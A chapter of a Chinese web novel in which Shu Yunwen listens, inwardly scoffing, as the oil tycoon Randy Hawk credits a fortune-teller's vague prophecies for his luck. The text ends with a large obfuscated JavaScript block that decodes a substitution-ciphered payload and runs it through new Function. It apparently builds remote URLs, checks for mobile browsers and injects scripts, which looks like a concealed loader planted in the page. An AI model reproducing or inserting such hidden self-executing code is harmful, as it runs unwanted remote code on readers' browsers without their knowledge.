第1489章 被便宜老爸忽悠瘸了的兰迪霍克!~(2 / 2)

“然后呢?”舒允文追问。

“……然后我就在我的农场里发现的石油,改行挖石油,变成石油大亨啦!~”

兰迪·霍克说完,舒允文“哈”了一声,嘴角抽搐——

妈蛋!合则电视里说的你从扑街农场主到石油大亨的华丽转变,就是因为这个便宜老爸的随口乱扯啊!咱要不要这么玄学的?

等等!这特么根本不是玄学!

他这个便宜老爸说的“农场里藏有惊人的财富”,指的十有八九就不是石油,而是他养在农场里的牛羊、作物什么的。

这个老牛仔应该是误会了他便宜老爸的话,找了几个人误打误撞地找到石油的!

这狗屎运……要不咱回头也去美国买个农场,挖几铲子试试?

舒允文心中无语,兰迪·霍克又继续说道:“……在那以后,我每年都会来找克勤先生占卜,而克勤先生每次都算得很准!农场挖出石油后的第二年,我担心自己一下子乍富会有人觊觎、绑架我谋财害命,结果克勤先生却说我家世世代代都是牛仔,有牛仔之神庇护,根本不用担心这些——占卜完以后我回美国,第二天就遇到了绑架,结果他们带我离开的时候车子出了车祸,绑匪全死了,我连一根毛都没伤到!”

“……所以从那以后,我连保镖都没请过!因为我相信克勤先生的话,牛仔之神一直在护佑着我!”

我勒个去!神特么护佑着你!我看是忽悠着你还差不多!

话说,在美国那么个枪支泛滥的国家,你一个百亿富豪居然连保镖都不请……你这是被便宜老爸忽悠瘸了吧?

舒允文有点不知道该说什么才好,兰迪·霍克则又“巴拉巴拉”地开始说起了他这些年的“历险记”——这老头子,简直就像是现实生活中的开挂玩家,基本上每年都被绑架两次,居然每一回都能顺利脱身,而且每一次脱困以后,都会在媒体记者前说什么“牛仔之神的护佑”、“牛仔的后人能自己保护好自己”之类的话。现在这牛逼吹的,貌似媒体记者都有些信了……

兰迪·霍克说完了自己的历险记,又继续说起了舒克勤这些年给他算过的卦,然后幽幽地说道:“克勤先生给我算的最后一卦,就是在三年前……他当时说,‘似乎要有灾厄降临’、‘这是他给我算的最后一卦’之类的话。我当时听了,还以为我要出什么意外,担惊受怕了一年多,却一切安好。正当我准备来日本向克勤先生兴师问罪的时候,我听说克勤先生车祸过世——”

“——在那时候,我才醒悟过来,克勤先生说的‘灾厄降临’,不是降临到我身上,而是降临到他自己身上。克勤先生他应该是看到了自己的命运,所以在那次占卜的时候,向我道别啊……”

兰迪·霍克话落,嗟叹而又怀念地摇了摇头,舒允文则“呃”了一声,一脑门儿黑线——

看到了自己的命运?还向你道别?你特么想多了吧?

说什么“灾厄降临”神马的,摆明了就是骗子的基本套路好伐?

你出门连个保镖都不带,一年平均被绑架两次,你要是不幸死掉的话,那自然就是“灾厄降临”,回头他就能向别人吹牛说看破了你的命运,预言了你的死亡,借此提升自己的名气;你要是又运气好活下来,他就可以说是远程施法帮你避灾,救了你一命,还能藉此向你敲诈钱财……

这套路,咱事务所里以远藤真吾为首的那群死骗子一个比一个玩的6,你居然还信了?!

话说,你的智商真的在线吗?

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();